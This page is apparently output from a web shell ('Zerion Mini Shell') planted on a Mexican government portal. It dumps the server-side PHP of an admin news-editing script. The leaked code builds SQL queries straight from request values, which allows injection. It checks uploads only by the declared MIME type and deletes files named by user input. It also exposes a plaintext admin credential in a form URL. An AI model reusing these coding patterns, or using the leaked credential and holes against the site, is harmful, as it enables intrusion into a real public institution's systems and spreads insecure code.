%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/adminit2018/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/adminit2018/editar_nota.php

<?php 

if(isset($_POST['GuardarDatos']) && $_POST['GuardarDatos'] == 'Guardar'){

$act_id = $_POST['id_nota'];
$act_titulo = $_POST['titulo'];
$act_fecha = $_POST['fecha'];
$act_categoria = $_POST['categoria'];
$act_etiquetas = $_POST['etiquetas'];
$act_imagen1 = $_POST['imagen1a'];
$act_destacado = $_POST['destacado'];
$act_contenido = $_POST['contenido'];
$act_imagen2 = $_POST['imagen2a'];
$act_imagen3 = $_POST['imagen3a'];
$act_imagen4 = $_POST['imagen4a'];

// setlocale(LC_ALL, 'es_ES').': ';
// $tja_fecha_pub = iconv('ISO-8859-1', 'UTF-8', strftime('%A %d de %B de %Y', time()));

setlocale(LC_ALL,"es_ES");
//$web_fecha2 = utf8_encode(strftime("%A %d de %B del %Y", strtotime($bb))); // solo la use de ejemplo
$tja_fecha_pub = utf8_encode(strftime("%A %d de %B del %Y"));

 // SUBIR IMAGENES A UN DIRECTORIO Y GUARDAR LA RUTA EN LA BD
      
      $allowedExts = array("gif", "jpeg", "jpg", "png");
      
      $temp = explode(".", $_FILES["imagen1"]["name"]);
      $temp2 = explode(".", $_FILES["imagen2"]["name"]); // segunda imagen
      $temp3 = explode(".", $_FILES["imagen3"]["name"]); // 3 imagen
      $temp4 = explode(".", $_FILES["imagen4"]["name"]); // 4 imagen

      $extension = end($temp);
      $extension2 = end($temp2); //  segunda imagen
      $extension3 = end($temp3); //  3 imagen
      $extension4 = end($temp4); //  4 imagen

      $imagen="";
      $imagen2=""; //  segunda imagen
      $imagen3=""; //  3 imagen
      $imagen4=""; //  4 imagen //

      $random=rand(1,999);
      
      if ((($_FILES["imagen1"]["type"] == "image/gif")
        || ($_FILES["imagen1"]["type"] == "image/jpeg")
        || ($_FILES["imagen1"]["type"] == "image/jpg")
        || ($_FILES["imagen1"]["type"] == "image/pjpeg")
        || ($_FILES["imagen1"]["type"] == "image/x-png")
        || ($_FILES["imagen1"]["type"] == "image/png")))
      {

          if ($_FILES["imagen1"]["name"] != NULL) {
          $imagen= $random.'_'.$_FILES["imagen1"]["name"];
          move_uploaded_file($_FILES["imagen1"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen1"]["name"]);
          echo ":) Se ha subido correctamente la imágen 1: " . "../img/noticias/" .$random.'_'. $_FILES["imagen1"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 1<br />"; }
          
          if ($_FILES["imagen2"]["name"] != NULL) {
          $imagen2= $random.'_'.$_FILES["imagen2"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen2"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen2"]["name"]);
          echo ":) Se ha subido correctamente la imágen 2: " . "../img/noticias/" .$random.'_'. $_FILES["imagen2"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 2<br />"; }  

          if ($_FILES["imagen3"]["name"] != NULL) {
          $imagen3= $random.'_'.$_FILES["imagen3"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen3"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen3"]["name"]);
          echo ":) Se ha subido correctamente la imágen 3: " . "../img/noticias/" .$random.'_'. $_FILES["imagen3"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 3<br />"; }  

          if ($_FILES["imagen4"]["name"] != NULL) {
          $imagen4= $random.'_'.$_FILES["imagen4"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen4"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen4"]["name"]);
          echo ":) Se ha subido correctamente la imágen 4: " . "../img/noticias/" .$random.'_'. $_FILES["imagen4"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 4<br />"; }  

          // FIN SUBIR IMAGENES
         } //ultima agregada


          /// AQUI BORRAMOS LAS IMAGENES ACTUALES
        if ($imagen == NULL) {
        $imagen = "$act_imagen1";
        echo"No se ha reemplazado la Imagen 1, ya que no se ha seleccionado una nueva <br />";
        }
        else { unlink ("../img/noticias/".$act_imagen1); echo "se sobreescribió la imagen 1: $act_imagen1 <br />"; }

        if ($imagen2 == NULL) {
        $imagen2 = "$act_imagen2";
        echo"No se ha reemplazado la Imagen 2, ya que no se ha seleccionado una nueva <br />";
        }
        else { unlink ("../img/noticias/".$act_imagen2); echo "se sobreescribió la imagen 2: $act_imagen2 <br />"; }

        if ($imagen3 == NULL) {
        $imagen3 = "$act_imagen3";
        echo"No se ha reemplazado la Imagen 3, ya que no se ha seleccionado una nueva <br />";
        }
        else { unlink ("../img/noticias/".$act_imagen3); echo "se sobreescribió la imagen 3: $act_imagen3 <br />"; }

        if ($imagen4 == NULL) {
        $imagen4 = "$act_imagen4";
        echo"No se ha reemplazado la Imagen 4, ya que no se ha seleccionado una nueva <br />";
        }
        else { unlink ("../img/noticias/".$act_imagen4); echo "se sobreescribió la imagen 4: $act_imagen4 <br />"; }

          

//$con = db_connect2();
require("../conn.php");
$error = "";

  $sql ="UPDATE noticias SET 
titulo = '$act_titulo',
fecha = '$act_fecha',
categoria = '$act_categoria',
etiquetas = '$act_etiquetas',
imagen1 = '$imagen',
destacado = '$act_destacado',
contenido = '$act_contenido',
imagen2 = '$imagen2',
imagen3 = '$imagen3',
imagen4 = '$imagen4' 
WHERE id_noticia = '$act_id'";

        
  $res = mysqli_query($db,$sql) or die(mysqli_error());
  
  if (!$res)
  {
    echo "<br /> Error al Actualizar";
  }
    /// Confirmamos que se Actualizo la Informacion y mostramos mensaje
  else
  {
    echo "<br /> Noticia Actualizada Correctamente";        
  }

}
else {
 ?>

                  <?php 

                  //$con = db_connect2();
                  require("../conn.php");
                  $error = "";
                      
                       $sql = "SELECT * from noticias WHERE id_noticia = '$_GET[edid]' ";
                       $editnoti = mysqli_query($db,$sql);
                        while($reditnoti = mysqli_fetch_array($editnoti))
                       {
                       $edit_id_noticia = $reditnoti['id_noticia'];
                       $edit_titulo = $reditnoti['titulo'];
                       $edit_fecha = $reditnoti['fecha'];
                       $edit_categoria = $reditnoti['categoria'];
                       $edit_etiquetas = $reditnoti['etiquetas'];
                       $edit_destacado = $reditnoti['destacado'];
                       $edit_imagen1 = $reditnoti['imagen1'];
                       $edit_contenido = $reditnoti['contenido'];
                       $edit_imagen2 = $reditnoti['imagen2'];
                       $edit_imagen3 = $reditnoti['imagen3'];
                       $edit_imagen4 = $reditnoti['imagen4'];
                       $edit_fecha_pub = $reditnoti['fecha_publicacion'];                       
                       }
                  ?>

<div class="content content-boxed">
    <!-- CKEditor (js-ckeditor-inline + js-ckeditor ids are initialized in App() -> uiHelperCkeditor()) -->
    <!-- For more info and examples you can check out http://ckeditor.com -->
    <div class="block">

 				<!-- FORMULARIO -->
                <div class="block-content">

                    <form method="post" action="Editar-Noticia&adminuser=CarLos19!Ee" method="POST" enctype="multipart/form-data">

                        <input type="hidden" name="id_nota" id="id_nota" value="<?php echo "$edit_id_noticia"; ?>">

                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-1 control-label" for="example-text-input">Título: </label>
                                <div class="col-sm-5">
                                    <input class="js-maxlength form-control" type="text" value="<?php echo "$edit_titulo";  ?>" id="titulo" name="titulo" maxlength="300" data-always-show="true" data-placement="top-right">
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Fecha: </label>
                                <div class="col-sm-5">
                            		<input class="js-datepicker form-control" type="text" id="fecha" name="fecha" data-date-format="mm/dd/yyyy" value="<?php echo "$edit_fecha";  ?>">
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-1 control-label" for="example-text-input">Categoría: </label>
                                <div class="col-sm-5">
                                		<select class="form-control" id="categoria" name="categoria" size="1">
                                   		 <option value="<?php echo "$edit_categoria";  ?>"><?php echo "$edit_categoria";  ?></option>
                                   		 <option value="Comunicado de Prensa">Comunicado de Prensa</option>
                                   		 <option value="Noticia">Noticia</option>
                                    	 <option value="Nota Rápida">Nota Rápida</option>
                                		</select>
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Etiquetas: </label>
                                <div class="col-sm-5">
                            		<input class="js-maxlength form-control" type="text" id="etiquetas" name="etiquetas" maxlength="100" data-always-show="true" data-placement="top-right" value="<?php echo "$edit_etiquetas";  ?>">
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Selecciona imagen destacada: </label>
                                <div class="col-sm-3">
                                    	<input type="file" id="imagen1" name="imagen1">
                                      <strong>Actual:</strong> <input name="imagen1a" type="text" id="imagen1a"  value="<?php echo "$edit_imagen1"; ?>" />                                      
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Destacado: </label>
                                <div class="col-sm-5">
                                		<select class="form-control" id="destacado" name="destacado" size="1">
                                   		 <option value="<?php echo "$edit_destacado";  ?>">
                                        <?php 
                                        if ($edit_destacado == '1') 
                                          { 
                                            echo "Si"; 
                                          } 
                                        if ($edit_destacado == '0') 
                                          { 
                                            echo "No";
                                          } 
                                        ?>                                         
                                       </option>
                                   		 <option value="1">Si</option>
                                   		 <option value="0">No</option>
                                		</select>
                                </div>
                            </div>
                        </div>

                   		<div class="form-group">
                   			 <div class="col-sm-12">
                       			  <!-- CKEditor Container -->
                      			  <textarea id="js-ckeditor" name="contenido"><?php echo "$edit_contenido";  ?></textarea>
                      			  <br />
                    		</div>                   		
                    	</div>

                    	<div class="form-group">
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 1: </label>
                                <div class="col-sm-9">
                                    <input type="file" id="imagen2" name="imagen2">
                                    <strong>Actual:</strong> <input name="imagen2a" type="text" id="imagen2a"  value="<?php echo "$edit_imagen2"; ?>" /> 
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 2: </label>
                                <div class="col-sm-9">
                                    <input type="file" id="imagen3" name="imagen3">
                                    <strong>Actual:</strong> <input name="imagen3a" type="text" id="imagen3a"  value="<?php echo "$edit_imagen3"; ?>" /> 
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 3: </label>                                
                                <div class="col-sm-9">
                                    <input type="file" id="imagen4" name="imagen4">
                                    <strong>Actual:</strong> <input name="imagen4a" type="text" id="imagen4a"  value="<?php echo "$edit_imagen4"; ?>" /> 
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                           <strong> Fecha de publicación: </strong><?php echo "$edit_fecha_pub"; ?>
                            <br /><br />
                            <button class="btn btn-sm btn-primary" type="submit" name="GuardarDatos" value="Guardar">Editar Nota</button>
                        </div>

                    </form>

                </div>
            	<!-- FIN FORMULARIO -->

    </div>

</div>


<?php
}
?>

Zerion Mini Shell 1.0